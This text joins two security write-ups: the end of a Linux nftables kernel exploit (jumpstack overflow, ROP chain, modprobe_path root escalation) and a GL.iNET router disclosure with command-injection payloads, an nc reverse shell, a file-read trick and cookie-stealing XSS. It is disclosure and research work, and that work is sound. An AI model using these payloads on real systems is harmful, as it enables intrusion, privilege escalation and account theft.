[ 1849.727034] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 1849.727034] CR2: 000055e3168e4078 CR3: 0000000003210000 CR4: 00000000000006e0

Let’s explore the nft_do_chain routine to understand what happened:

/* net/netfilter/nf_tables_core.c */

unsigned int nft_do_chain(struct nft_pktinfo *pkt, void *priv) {
	const struct nft_chain *chain = priv, *basechain = chain;
	const struct nft_rule_dp *rule, *last_rule;
	const struct net *net = nft_net(pkt);
	const struct nft_expr *expr, *last;
	struct nft_regs regs = {};
	unsigned int stackptr = 0;
	struct nft_jumpstack jumpstack[NFT_JUMP_STACK_SIZE];
	bool genbit = READ_ONCE(net->nft.gencursor);
	struct nft_rule_blob *blob;
	struct nft_traceinfo info;

	info.trace = false;
	if (static_branch_unlikely(&nft_trace_enabled))
		nft_trace_init(&info, pkt, &regs.verdict, basechain);
do_chain:
	if (genbit)
		blob = rcu_dereference(chain->blob_gen_1);       // Get correct chain generation
	else
		blob = rcu_dereference(chain->blob_gen_0);

	rule = (struct nft_rule_dp *)blob->data;          // Get fist and last rules in chain
	last_rule = (void *)blob->data + blob->size;
next_rule:
	regs.verdict.code = NFT_CONTINUE;
	for (; rule < last_rule; rule = nft_rule_next(rule)) {   // 3. for each rule in chain
		nft_rule_dp_for_each_expr(expr, last, rule) {    // 4. for each expr in rule
			...
			expr_call_ops_eval(expr, &regs, pkt);    // 5. expr->ops->eval()

			if (regs.verdict.code != NFT_CONTINUE)
				break;
		}

		...
		break;
	}

	...
switch (regs.verdict.code) {
	case NFT_JUMP:
		/*
			1. If we're jumping to the next chain, store a pointer to the next rule of the 
      current chain in the jumpstack, increase the stack pointer and switch chain
		*/
		if (WARN_ON_ONCE(stackptr >= NFT_JUMP_STACK_SIZE))
			return NF_DROP;	
		jumpstack[stackptr].chain = chain;
		jumpstack[stackptr].rule = nft_rule_next(rule);
		jumpstack[stackptr].last_rule = last_rule;
		stackptr++;
		fallthrough;
	case NFT_GOTO:
		chain = regs.verdict.chain;
		goto do_chain;
	case NFT_CONTINUE:
	case NFT_RETURN:
		break;
	default:
		WARN_ON_ONCE(1);
	}
	/*
		2. If we got here then we completed the latest chain and can now evaluate
		the next rule in the previous one
	*/
	if (stackptr > 0) {
		stackptr--;
		chain = jumpstack[stackptr].chain;
		rule = jumpstack[stackptr].rule;
		last_rule = jumpstack[stackptr].last_rule;
		goto next_rule;
	}
		...

The first 8 jumps fall into case 1. where the NFT_JUMP verdict increases stackptr to align it with our controlled elements, then, on the 9th jump, we overwrite the 8th element containing the next rule and return from the current chain landing on the corrupted one. At 2. the stack pointer is decremented and control is returned to the previous chain.
Finally, the next rule in chain 8 gets dereferenced at 3: nft_rule_next(rule), too bad we just filled it with 0x42s, causing the protection fault.

2.2.2 Controlling the execution flow

Other than the rule itself, there are other pointers that should be taken care of to prevent the kernel from crashing, especially the ones dereferenced by nft_rule_dp_for_each_expr when looping through all rule expressions:

/* net/netfilter/nf_tables_core.c */

#define nft_rule_expr_first(rule)	(struct nft_expr *)&rule->data[0]
#define nft_rule_expr_next(expr)	((void *)expr) + expr->ops->size
#define nft_rule_expr_last(rule)	(struct nft_expr *)&rule->data[rule->dlen]
#define nft_rule_next(rule)		(void *)rule + sizeof(*rule) + rule->dlen

#define nft_rule_dp_for_each_expr(expr, last, rule) \
        for ((expr) = nft_rule_expr_first(rule), (last) = nft_rule_expr_last(rule); \
             (expr) != (last); \
             (expr) = nft_rule_expr_next(expr))
  1. nft_do_chain requires rule to be smaller than last_rule to enter the outer loop. This is not an issue as we control both fields in the 8th element. Furthermore, rule will point to another address in the jumpstack we control as to reference valid memory.
  2. nft_rule_dp_for_each_expr thus calls nft_rule_expr_first(rule) to get the first expr from its data buffer, 8 bytes after rule. We can discard the result of nft_rule_expr_last(rule) since it won’t be dereferenced during the attack.
(remote) gef➤ p (int)&((struct nft_rule_dp *)0)->data
$29 = 0x8
(remote) gef➤ p *(struct nft_expr *) rule->data
$30 = {
  ops = 0xffffffff82328780,
  data = 0xffff888003788a38 "1374\377\377\377"
}
(remote) gef➤ x/101 0xffffffff81a4fbdf
=> 0xffffffff81a4fbdf <nft_do_chain+143>:   cmp   r12,rbp
0xffffffff81a4fbe2 <nft_do_chain+146>:      jae   0xffffffff81a4feaf
0xffffffff81a4fbe8 <nft_do_chain+152>:      movz  eax,WORD PTR [r12]                  <== load rule into eax
0xffffffff81a4fbed <nft_do_chain+157>:      lea   rbx,[r12+0x8]                       <== load expr into rbx
0xffffffff81a4fbf2 <nft_do_chain+162>:      shr   ax,1
0xffffffff81a4fbf5 <nft_do_chain+165>:      and   eax,0xfff
0xffffffff81a4fbfa <nft_do_chain+170>:      lea   r13,[r12+rax*1+0x8]
0xffffffff81a4fbff <nft_do_chain+175>:      cmp   rbx,r13
0xffffffff81a4fc02 <nft_do_chain+178>:      jne   0xffffffff81a4fce5 <nft_do_chain+405>
0xffffffff81a4fc08 <nft_do_chain+184>:      jmp   0xffffffff81a4fed9 <nft_do_chain+905>

3. nft_do_chain calls expr->ops->eval(expr, regs, pkt); via expr_call_ops_eval(expr, &regs, pkt), so the dereference chain has to be valid and point to executable memory. Fortunately, all fields are at offset 0, so we can just place the expr, ops and eval pointers all next to each other to simplify the layout.

(remote) gef➤ x/4i 0xffffffff81a4fcdf
0xffffffff81a4fcdf <nft_do_chain+399>:      je    0xffffffff81a4feef <nft_do_chain+927>
0xffffffff81a4fce5 <nft_do_chain+405>:      mov   rax,QWORD PTR [rbx]                <== first QWORD at expr is expr->ops, store it into rax
0xffffffff81a4fce8 <nft_do_chain+408>:      cmp   rax,0xffffffff82328900 
=> 0xffffffff81a4fcee <nft_do_chain+414>:   jne   0xffffffff81a4fc0d <nft_do_chain+189>
(remote) gef➤ x/gx $rax
0xffffffff82328780 :    0xffffffff81a65410
(remote) gef➤ x/4i 0xffffffff81a65410
0xffffffff81a65410 <nft_immediate_eval>:    movzx eax,BYTE PTR [rdi+0x18]            <== first QWORD at expr->ops points to expr->ops->eval
0xffffffff81a65414 <nft_immediate_eval+4>:  movzx ecx,BYTE PTR [rdi+0x19]
0xffffffff81a65418 <nft_immediate_eval+8>:  mov   r8,rsi
0xffffffff81a6541b <nft_immediate_eval+11>: lea   rsi,[rdi+0x8]

In order to preserve as much space as possible, the layout for stack pivoting can be arranged inside the registers before the overflow. Since these values will be copied inside the jumpstack, we have enough time to perform the following steps:

  1. Setup a stack pivot payload to NFT_REG32_00 by repeatedly invoking nft_rule_immediate expressions as shown above. Remember that we had leaked the regs address.
  2. Add the vulnerable nft_rule_payload expression that will later overflow the jumpstack with the previously added registers.
  3. Refill the registers with a ROP chain to elevate privileges with nft_rule_immediate.
  4. Trigger the overflow: code execution will start from the jumpstack and then pivot to the ROP chain starting from NFT_REG32_00.

By following these steps we managed to store the eval pointer and the stack pivot routine on the jumpstack, which would’ve otherwise filled up the regs too quickly.
In fact, without this optimization, the required space would be:
8 (rule) + 8 (expr) + 8 (eval) + 64 (ROP chain) = 88 bytes
Unfortunately, the regs buffer can only hold 64 bytes.

By applying the described technique we can reduce it to:

  • jumpstack: 8 (rule) + 8 (expr) + 8 (eval) = 24 bytes
  • regs: 64 bytes (ROP chain) which will fit perfectly in the available space.

Here is how I crafted the fake jumpstack to achieve initial code execution:

struct jumpstack_t fill_jumpstack(unsigned long regs, unsigned long kaslr) 
{
    struct jumpstack_t jumpstack = {0};
    /*
        align payload to rule
    */
    jumpstack.init = 'A';
    /*
        rule->expr will skip 8 bytes, here we basically point rule to itself + 8
    */
    jumpstack.rule =  regs + 0xf0;
    jumpstack.last_rule = 0xffffffffffffffff;
    /*
        point expr to itself + 8 so that eval() will be the next pointer
    */
    jumpstack.expr = regs + 0x100;
    /*
        we're inside nft_do_chain and regs is declared in the same function,
        finding the offset should be trivial: 
        stack_pivot = &NFT_REG32_00 - RSP
        the pivot will add 0x48 to RSP and pop 3 more registers, totaling 0x60
    */
    jumpstack.pivot = 0xffffffff810280ae + kaslr;
    unsigned char pad[31] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
    strcpy(jumpstack.pad, pad);
    return jumpstack;
}

2.2.3 Getting UID 0

The next steps consist in finding the right gadgets to build up the ROP chain and make the exploit as stable as possible.

There exist several tools to scan for ROP gadgets, but I found that most of them couldn’t deal with large images too well. Furthermore, for some reason, only ROPgadget manages to find all the stack pivots in function epilogues, even if it prints them as static offset. Out of laziness, I scripted my own gadget finder based on objdump, that would be useful for short relative pivots (rsp + small offset):

#!/bin/bash

objdump -j .text -M intel -d linux-6.1.6/vmlinux > obj.dump
grep -n '48 83 c4 30' obj.dump | while IFS=":" read -r line_num line; do
        ret_line_num=$((line_num + 7))
        if [[ $(awk "NR==$ret_line_num" obj.dump | grep ret) =~ ret ]]; then
                out=$(awk "NR>=$line_num && NR<=$ret_line_num" obj.dump)
                if [[ ! $out == *"mov"* ]]; then
                        echo "$out"
                        echo -e "\n-----------------------------"
                fi
        fi
done

In this example case we’re looking to increase rsp by 0x60, and our script will find all stack cleanup routines incrementing it by 0x30 and then popping 6 more registers to reach the desired offset:

ffffffff8104ba47:    48 83 c4 30       add гsp, 0x30
ffffffff8104ba4b:    5b                pop rbx
ffffffff8104ba4c:    5d                pop rbp
ffffffff8104ba4d:    41 5c             pop r12
ffffffff8104ba4f:    41 5d             pop г13
ffffffff8104ba51:    41 5e             pop r14
ffffffff8104ba53:    41 5f             pop r15
ffffffff8104ba55:    e9 a6 78 fb 00    jmp ffffffff82003300 <____x86_return_thunk>

Even though it seems to be calling a jmp, gdb can confirm that we’re indeed returning to the saved rip via ret:

(remote) gef➤ x/10i 0xffffffff8104ba47
0xffffffff8104ba47 <set_cpu_sibling_map+1255>:    add   rsp,0x30
0xffffffff8104ba4b <set_cpu_sibling_map+1259>:    pop   rbx
0xffffffff8104ba4c <set_cpu_sibling_map+1260>:    pop   rbp
0xffffffff8104ba4d <set_cpu_sibling_map+1261>:    pop   r12
0xffffffff8104ba4f <set_cpu_sibling_map+1263>:    pop   r13
0xffffffff8104ba51 <set_cpu_sibling_map+1265>:    pop   r14
0xffffffff8104ba53 <set_cpu_sibling_map+1267>:    pop   r15
0xffffffff8104ba55 <set_cpu_sibling_map+1269>:    ret

Of course, the script can be adjusted to look for different gadgets.

Now, as for the privesc itself, I went for the most convenient and simplest approach, that is overwriting the modprobe_path variable to run a userland binary as root. Since this technique is widely known, I’ll just leave an in-depth analysis here:
We’re assuming that STATIC_USERMODEHELPER is disabled.

In short, the payload does the following:

  1. pop rax; ret : Set rax = /tmp/runme where runme is the executable that modprobe will run as root when trying to find the right module for the specified binary header.
  2. pop rdi; ret: Set rdi = &modprobe_path, this is just the memory location for the modprobe_path global variable.
  3. mov qword ptr [rdi], rax; ret: Perform the copy operation.
  4. mov rsp, rbp; pop rbp; ret: Return to userland.

While the first three gadgets are pretty straightforward and common to find, the last one requires some caution. Normally a kernel exploit would switch context by calling the so-called KPTI trampoline swapgs_restore_regs_and_return_to_usermode, a special routine that swaps the page tables and the required registers back to the userland ones by executing the swapgs and iretq instructions.
In our case, since the ROP chain is running in the softirq context, I’m not sure if using the same method would have worked reliably, it’d probably just be better to first return to the syscall context and then run our code from userland.

Here is the stack frame from the ROP chain execution context:

gef➤ bt
#0 nft_payload_eval (expr=0xffff888805e769f0, regs=0xffffc90000083950, pkt=0xffffc90000883689) at net/netfilter/nft_payload.c:124
#1 0xffffffff81c2cfa1 in expr_call_ops_eval (pkt=0xffffc90000083b80, regs=0xffffc90000083950, expr=0xffff888005e769f0)
#2 nft_do_chain (pkt=pkt@entry=0xffffc90000083b80, priv=priv@entry=0xffff888005f42a50) at net/netfilter/nf_tables_core.c:264
#3 0xffffffff81c43b14 in nft_do_chain_netdev (priv=0xffff888805f42a50, skb=, state=)
#4 0xffffffff81c27df8 in nf_hook_entry_hookfn (state=0xffffc90000083c50, skb=0xffff888005f4a200, entry=0xffff88880591cd88)
#5 nf_hook_slow (skb=skb@entry=0xffff888005f4a200, state-state@entry=0xffffc90808083c50, e=e@entry=0xffff88800591cd00, s=s@entry=0...
#6 0xffffffff81b7abf7 in nf_hook_ingress (skb=) at ./include/linux/netfilter_netdev.h:34
#7 nf_ingress (orig_dev=0xffff888005ff0000, ret=, pt_prev=, skb=) at net/core,
#8 ___netif_receive_skb_core (pskb=pskb@entry=0xffffc90000083cd0, pfmemalloc=pfmemalloc@entry=0x0, ppt_prev=ppt_prev@entry=0xffffc9...
#9 0xffffffff81b7b0ef in _netif_receive_skb_one_core (skb=, pfmemalloc=pfmemalloc@entry=0x0) at net/core/dev.c:548
#10 0xffffffff81b7b1a5 in ___netif_receive_skb (skb=) at net/core/dev.c:5603
#11 0xffffffff81b7b40a in process_backlog (napi=0xffff888007a335d0, quota=0x40) at net/core/dev.c:5931
#12 0xffffffff81b7c013 in ___napi_poll (n=n@entry=0xffff888007a335d0, repoll=repoll@entry=0xffffc90000083daf) at net/core/dev.c:6498
#13 0xffffffff81b7c493 in napi_poll (repoll=0xffffc90000083dc0, n=0xffff888007a335d0) at net/core/dev.c:6565
#14 net_rx_action (h=) at net/core/dev.c:6676
#15 0xffffffff82280135 in ___do_softirq () at kernel/softirq.c:574

Any function between the last corrupted one and __do_softirq would work to exit gracefully. To simulate the end of the current chain evaluation we can just return to nf_hook_slow since we know the location of its rbp.

Yes, we should also disable maskable interrupts via a cli; ret gadget, but we wouldn’t have enough space, and besides, we will be discarding the network interface right after.

To prevent any deadlocks and random crashes caused by skipping over the nft_do_chain function, a NFT_MSG_DELTABLE message is immediately sent to flush all nftables structures and we quickly exit the program to disable the network interface connected to the new network namespace.
Therefore, gadget 4 just pops nft_do_chain’s rbp and runs a clean leave; ret, this way we don’t have to worry about forcefully switching context.
As soon as execution is handed back to userland, a file with an unknown header is executed to trigger the executable under modprobe_path that will add a new user with UID 0 to /etc/passwd.

While this is in no way a data-only exploit, notice how the entire exploit chain lives inside kernel memory, this is crucial to bypass mitigations:

  • KPTI requires page tables to be swapped to the userland ones while switching context, __do_softirq will take care of that.
  • SMEP/SMAP prevent us from reading, writing and executing code from userland while in kernel mode. Writing the whole ROP chain in kernel memory that we control allows us to fully bypass those measures as well.

2.3. Patching the tables

Patching this vulnerability is trivial, and the most straightforward change has been approved by Linux developers:

@@ -63,7 +63,7 @@ nft_payload_copy_vlan(u32 *d, const struct sk_buff *skb, u8 offset, u8 len)
			return false;

		if (offset + len > VLAN_ETH_HLEN + vlan_hlen)
-			ethlen -= offset + len - VLAN_ETH_HLEN + vlan_hlen;
+			ethlen -= offset + len - VLAN_ETH_HLEN - vlan_hlen;

		memcpy(dst_u8, vlanh + offset - vlan_hlen, ethlen);

While this fix is valid, I believe that simplifying the whole expression would have been better:

@@ -63,7 +63,7 @@ nft_payload_copy_vlan(u32 *d, const struct sk_buff *skb, u8 offset, u8 len)
			return false;

		if (offset + len > VLAN_ETH_HLEN + vlan_hlen)
-			ethlen -= offset + len - VLAN_ETH_HLEN + vlan_hlen;
+			ethlen = VLAN_ETH_HLEN + vlan_hlen - offset;

		memcpy(dst_u8, vlanh + offset - vlan_hlen, ethlen);

since ethlen is initialized with len and is never updated.

The vulnerability existed since Linux v5.5-rc1 and has been patched with commit 696e1a48b1a1b01edad542a1ef293665864a4dd0 in Linux v6.2-rc5.

One possible approach to making this vulnerability class harder to exploit involves using the same randomization logic as the one in the kernel stack (aka per-syscall kernel-stack offset randomization): by randomizing the whole kernel stack on each syscall entry, any KASLR leak is only valid for a single attempt. This security measure isn’t applied when entering the softirq context as a new stack is allocated for those operations at a static address.

You can find the PoC with its kernel config on my Github profile. The exploit has purposefully been built with only a specific kernel version in mind, as to make it harder to use it for illicit purposes. Adapting it to another kernel would require the following steps:

  • Reshaping the kernel leak from the nft registers,
  • Finding the offsets of the new symbols,
  • Calculating the stack pivot length
  • etc.

In the end this was just a side project, but I’m glad I was able to push through the initial discomforts as the final result is something I am really proud of. I highly suggest anyone interested in kernel security and CTFs to spend some time auditing the Linux kernel to make our OSs more secure and also to have some fun!
I’m writing this article one year after the 0-day discovery, so I expect there to be some inconsistencies or mistakes, please let me know if you spot any.

I want to thank everyone who allowed me to delve into this research with no clear objective in mind, especially my team @ Betrusted and the HackInTheBox crew for inviting me to present my experience in front of so many great people! If you’re interested, you can watch my presentation here:

Vulnerabilities and Hardware Teardown of GL.iNET GL-MT300N-V2 Router

Vulnerabilities and Hardware Teardown of GL.iNET GL-MT300N-V2 Router

Original text by Olivier Laflamme

I’ve really enjoyed reversing cheap/weird IoT devices in my free time. In early May of 2022, I went on an Amazon/AliExpress shopping spree and purchased ~15 cheap IoT devices. Among them was this mini portable router by GL.iNET.  

GL.iNET is a leading developer of OpenWrt Wi-Fi and IoT network solutions and to my knowledge is a Chinese company based out in Hong Kong & USA. They offer a wide variety of products, and the company’s official website is www.gl-inet.com. The GL-MT300N-V2 firmware version I dove into was 

V3.212
released on April 29th, 2022 for the Mango model. The goodcloud remote cloud management gateway was 
Version 1.00.220412.00
.

This blog will be separated into two sections. The first half contains software vulnerabilities, this includes the local web application and the remote cloud peripherals. The second mainly consists of an attempted hardware teardown.  

I like to give credit where credit is due. The GL.iNET team was really awesome to work & communicate with. They genuinely care about the security posture of their products. So I'd like to give some quick praise for being an awesome vendor that kept me in the loop throughout the patching/disclosure process.  

In terms of overall timeline/transparency, I started testing on-and-off between 

May 2nd 2022
 to 
June 15th 2022
. After reporting the initial command injection vulnerability GL.iNET asked if I were interested in monetary compensation to find additional bugs. We ultimately agreed to public disclosure & the release of this blog in exchange for continued testing. As a result, I was given safe passage and continued to act in good faith. Lastly, the GL.iNet also shipped me their (GL-AX1800 / Flint) for additional testing. GL.iNet does nothave a BBP or VDP program, I asked, and was given permission to perform the tests I did. In other words, think twice before poking at their infrastructure and being a nuisance.

Having vulnerabilities reported should never be seen as a defeat or failure. Development and security are intertwined in a never ending cycle. There will always be vulnerabilities in all products that take risks on creativity, innovation, and change - the essence of pioneering.

Vulnerabilities List

A total of 6 vulnerabilities were identified in GL.iNet routers and IoT cloud gateway peripheral web applications:

1. OS command injection on router & cloud gateway (CVE-2022-31898)
2. Arbitrary file read on router via cloud gateway (CVE-2022-42055)
3. PII data leakage via user enumeration leading to account takeover
4. Account takeover via stored cross-site scripting (CVE-2022-42054)
5. Account takeover via weak password requirements & lack of rate limiting
6. Password policy bypass leading to single character passwords 

Web Application 

OS Command Injection 

The MT300N-V2 portable router is affected by an OS Command Injection vulnerability that allows authenticated attackers to run arbitrary commands on the affected system as the application’s user. This vulnerability exists within the local web interface and remote cloud interface. This vulnerability stems from improper validation of input passed through the ping (

ping_addr
) and traceroute (
trace_addr
) parameters. The vulnerability affects ALL GL.iNET product’s firmware  
&gt;3.2.12
.

Fixed in firmware 

Version 3.215
 stable build 
SHA256: 8d761ac6a66598a5b197089e6502865f4fe248015532994d632f7b5757399fc7

Vulnerability Details

CVE ID: CVE-2022-31898
Access Vector: Remote/Adjacent
Security Risk: High
Vulnerability: CWE-78
CVSS Base Score: 8.4
CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

I’ll run through the entire discovery process. There exists a file on disk 

/www/src/router/router.js
 which essentially manages the application panels. Think of it as the endpoint reference in charge of calling different features and functionality. As seen below, the path parameter points to the endpoint containing the router feature’s location on disk. When the endpoint such as 
/attools
 is fetched its respective 
.js
.html
, and 
.css
 files are loaded onto the page.

Through this endpoint, I quickly discovered that a lot of these panels were not actually accessible through the web UI’s sidebar seen below.

However, the functionality of these endpoints existed and were properly configured & referenced. Visually speaking, within the application they don’t have a sidebar «button» or action that can redirect us to it. 

Here is a full list of endpoints that can not be accessed through web UI actions.

http://192.168.8.1/#/ping    <-------- Vulnerable
http://192.168.8.1/#/apitest
http://192.168.8.1/#/attools
http://192.168.8.1/#/smessage
http://192.168.8.1/#/sendmsg
http://192.168.8.1/#/gps
http://192.168.8.1/#/cells
http://192.168.8.1/#/siderouter
http://192.168.8.1/#/rs485
http://192.168.8.1/#/adguardhome
http://192.168.8.1/#/sms
http://192.168.8.1/#/log
http://192.168.8.1/#/process
http://192.168.8.1/#/blelist
http://192.168.8.1/#/bluetooth

I should mention that some of these endpoints do become available after connecting modems, and other peripheral devices to the router. See the documentation for more details https://docs.gl-inet.com/.

As seen above, there exists a 

ping
 endpoint. From experience, these are always interesting. This endpoint has the ability to perform typical 
ping
 and 
traceroute
 commands. Let’s quickly confirm that these files exist, 
/ping
actions get called as defined within the 
router.js
 file.

root@GL-MT300N-V2:/www/src/temple/ping# pwd && ls /www/src/temple/ping index.CSS index.html index.js

The expected usage and output can be seen below.

What’s OS Command Injection? OS command injection is a fairly common vulnerability seen in such endpoints. Its typically exploited by using command operators ( 

|
 ,
&amp;&amp;
;
, etc,) that would allow you to execute multiple commands in succession, regardless of whether each previous command succeeds. 

Looking back at the ping portal, the UI (frontend) sanitizes the user-provided input against the following regex which is a very common implementation for validating IPv4 addresses.

Therefore, 

;
 isn’t an expected IPv4 schema character so when the 
pingIP()
check is performed, and any invalid characters will fail the request.

And we’re presented with the following error message.

We need to feed malicious content into the parameter 

pingValue
. If we do this successfully and don’t fail the check, our request will be sent to the web server where the server application act upon the input.

To circumvent the input sanitization on the front-end we will send our post request to the webserver directly using Burp Suite. This way we can simply modify the POST request without the front-end sanitization being forced. As mentioned above, using the 

;
 command separator we should be able to achieve command injection through the 
ping_addr
 or 
trace_addr
 parameters. If I’ve explained this poorly, perhaps the following visual can help.

Image Credit: I‘m on Your Phone, Listening – Attacking VoIP Configuration Interfaces

Let’s give it a try. If you look closely at the POST request below the 

ping_addr
value is 
;/bin/pwd%20
 which returned the present working directory of the application user. Confirming that OS Command Injection had been successfully performed.

Now let’s do an obligatory cat of 

/etc/passwd
 by feeding the following input 
;/bin/cat /etc/passwd 2>&amp;1

Okay, let’s go ahead and get a reverse shell.

Payload: 
;rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|/usr/bin/nc 192.168.8.193 4000 >/tmp/f

URL encoded:
;rm%20/tmp/f;mknod%20/tmp/f%20p;cat%20/tmp/f|/bin/sh%20-i%202%3E%261|/usr/bin/nc%20192.168.8.193%204000%20>%20tmp%20f

Cool, but this attack scenario kinda sucks… we need to be authenticated, on the same network, etc, etc. One of the main reasons I think this is a cool find, and why it’s not simply a local attack vector is that we can configure our device with the vendor’s IoT cloud gateway! This cloud gateway allows us to deploy and manage our connected IoT gateways remotely.

I’ve discovered that there are roughly 

~30000
 devices configured this way. One of the features of this cloud management portal is the ability to access your device’s admin panel remotely through a public-facing endpoint. Such can be seen below.

As you may have guessed, command injection could be performed from this endpoint as well.

In theory, any attacker with the ability to hijack goodcloud.xyz user sessions or compromise a user account (both achieved in this blog) could potentially leverage this attack vector to gain a foothold on a network compromise. 

Additional things you can do:

Scan internal network:
GET /cgi-bin/api/repeater/scan

Obtain WiFi password of joined SSID's
GET /cgi-bin/api/repeater/manager/list

Obtain WiFi password of routers SSID's
GET /cgi-bin/api/ap/info 

Disclosure Timeline 

May 2, 2022: Initial discovery
May 2, 2020: Vendor contacted
May 3, 2022: Vulnerability reported to the vendor
May 10, 2022: Vulnerability confirmed by the vendor
July 6, 2022: CVE reserved
July 7, 2022: Follow up with the vendor
October 13, 2022: Fixed in firmware 3.215


Arbitrary File Read

The MT300N-V2 portable router, configured along sides the vendor’s cloud management gateway (goodcloud.xyz) is vulnerable to Arbitrary File Read. The remote cloud gateway is intended to facilitate remote device access and management. This vulnerability exists within the cloud manager web interface and is only a feature available to enterprise users. The device editing interface tools harbors the 

ping
 and 
traceroute
 functionality which is vulnerable to a broken type of command injection whose behavior is limited to performing arbitrary file reads. Successful exploitation of this vulnerability will allow an attacker to access sensitive files and data on the router. It is possible to read any arbitrary files on the file system, including application source code, configuration, and other critical system files. 

Vulnerability Details

CVE ID: CVE-2022-42055
Access Vector: Remote
Security Risk: Medium
Vulnerability: CWE-23 & CWE-25
CVSS Base Score: 6.5
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Enterprise users will have the 

TOOLS
 menu when editing their devices as seen below.

The 

ping_addr
 and 
trace_addr
 both allow you to read any file on disk when prepending 
;/bin/sh
 to the file you want to read.

I’m not sure why this happens. I have not been able to get regular command injection due to the way its calling 

ping
 and 
traceroute
 within busybox from what I assume is data passing through something similar to a ngrok tunnel. I can’t use funky delimiters or common escapes to simply comment out the rest of the operation. Anyhow, valid payloads would look like the following:

;bin/sh%20/<PATH_TO_FILE>

&bin/sh%20/<PATH_TO_FILE>

As a POC I’ve created a 

flag.txt
 file in 
/tmp
 on my router and I’m going to read it from the cloud gateway. I could just as easily read the 
passwd
 and 
shadow
 files. Successfully cracking them offline would allow me access to both the cloud ssh terminal, and the login UI.

Funny enough, this action can then be seen getting processed by the logs on the cloud gateway. So definitely not «OPSEC» friendly.

Disclosure Timeline 

May 25, 2022: Initial discovery
May 25, 2022: Vendor contacted & vulnerability reported
May 26, 2022: Vendor confirms vulnerability
July 7, 2022: Follow up with the vendor
October 13, 2022: Fixed in firmware 3.215


PII Data Leakage & User Enumeration 

The MT300N-V2 portable router has the ability to be configured along sides the vendor’s cloud management gateway (goodcloud.xyz) which allows for remote access and management.  This vulnerability exists within the cloud manager web interface through the device-sharing endpoint 

cloud-api/cloud/user/get-user?nameoremail=
 GET request.  Successful enumeration of a user will result in that user’s PII information being disclosed. At its core, this is a funky IDOR. The vulnerability affected the goodcloud.xyz prior to May, 12th 2022. 

Vulnerability Details

CVE ID: N/A
Access Vector: Network
Security Risk: Medium
Vulnerability: CWE-200 & CWE-203
CVSS Base Score: 6.5
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

I identified roughly  

~30,000
 users which were enumerated via their username or email address. Successful enumeration compromises the confidentiality of the user. This vulnerability returns sensitive information that could be leveraged by a sophisticated, and motivated attacker to compromise the user’s account credentials. 

This attack is performed after creating a regular 

goodcloud.xyz
 cloud gateway account and linking your GL.iNet device. In the image below we see that our device can be shared with another registered user.

The request and response for sharing a device with another user are seen below.

Performing this 

get-user
 request against an existing user will disclosure the following account information:

- company name
- account creation time
- credential's salt (string+MD5)
- account email
- account user ID
- last login time
- nickname
- password hash (MD5)
- phone number
- password salt (MD5)
- secret key
- security value (boolean)
- status value (boolean)
- account last updated time
- application user id
- username

The password appears to be MD5 HMAC but the actual formatting/order is unknown, and not something I deem necessary to figure out. That being said, given all the information retrieved from the disclosure I believe the chances of finding the right combination to be fairly high. Below is an example of how it could be retrieved.

Additionally, I discovered no rate-limiting mechanisms in place for sharing devices. Therefore, it’s relatively easy to enumerate a good majority of valid application users using Burp Suite intruder.

Another observation I made, which was not confirmed with the vendor (so is purely speculation) I noticed that not every user had a 

secret
 value associated with their account. I suspect that perhaps this secret code is actually leveraged for the 2FA QR code creation mechanism. The syntax would resemble something like this:

<a href="https://www.google.com/chart?chs=200x200&amp;chld=M|0&amp;cht=qr&amp;chl=otpauth://totp/%3CUSER%20HERE%3E?secret=%3CSECRET%20HERE%3E&amp;issuer=goodcloud.xyz">https://www.google.com/chart?chs=200x200&amp;chld=M|0&amp;cht=qr&amp;chl=otpauth://totp/&lt;USER HERE>?secret=&lt;SECRET HERE>&amp;issuer=goodcloud.xyz</a>

This is purely speculative. 

The GL.iNET team was extremely quick to remediate this issue. Less than 12h after reporting it a fix was applied as seen below.

Disclosure Timeline 

May 11, 2022: Initial discovery
May 11, 2022: Vendor contacted & vulnerability reported
May 11, 2022: Vendor confirms vulnerability
May 12, 2022: Vendor patched the vulnerability


Stored Cross-Site Scripting

The MT300N-V2 portable router has the ability to join itself to the remote cloud management configuration gateway (goodcloud.xyz) which allows for remote management of linked IoT devices.  There exist multiple user input fields that do not properly sanitize user-supplied input. As a result, the application is vulnerable to stored cross-site scripting attacks. If this attack is leveraged against an enterprise account through the 

Sub Account
 invitation it can lead to the account takeover of the joined accounts. 

Vulnerability Details

CVE ID: CVE-2022-42054
Access Vector: Network
Security Risk: Medium
Vulnerability: CWE-79
CVSS Base Score: 8.7
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:H

We’ll find the vulnerable inputs field in the «Group Lists» panel, in which a user can modify and create as many groups as they want.

The vulnerable fields are 

Company
 and 
Description
. The payloads I used as a proof of concept are the following:

<img src=x onerror=confirm(document.cookie)>

or

<img src=x onerror=&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x64;&#x6f;&#x63;&#x75;&#x6d;&#x65;&#x6e;&#x74;&#46;&#x63;&#x6f;&#x6f;&#x6b;&#x69;&#x65;&#x29;>

Once the group is saved anytime the user either logs in or switches regions (Asia Pacific, America, Europe), logs in, or switched organication the XSS will trigger as seen below.

This occurs because there is a 

listQuery
 key that checks for 
{"pageNum":"","pageSize":"","name":"","company":"","description":""}
 and our XSS is stored and referenced within 
company
 name & 
description
 which is how the XSS triggers.

Can this be used maliciously? Unfortunately not with regular user accounts. With enterprise accounts yes, as we’ll see later. Here’s why. Realistically the only way to leverage this would be to share a device with a malicious named 

company
 and 
description
 fields with another user. 

Even with the patch for the PII and User Enumeration vulnerability above, it is still possible to enumerate 

userID
‘s which is exactly what we need to send a shared device invitation to users. Below is an example request.

An attacker with a regular user account would create a group with a 

company
 or 
description
 name like 
&lt;script type=“text/javascript”&gt;document.location=“http://x.x.x.x:xxxx/?c=“+document.cookie;&lt;/script&gt;
. Then invite a victim to that group. When the victim would login the attacker would able to steal their sessions. Unfortunately with a regular user account, this isn’t possible. 

If we share the device from 

boschko
(attacker) to 
boschko1
(victim). Here’s how the chain would go. After 
boschko
 creates the malicious group and sends an invitation to 
boschko1
 he’s done. The victim 
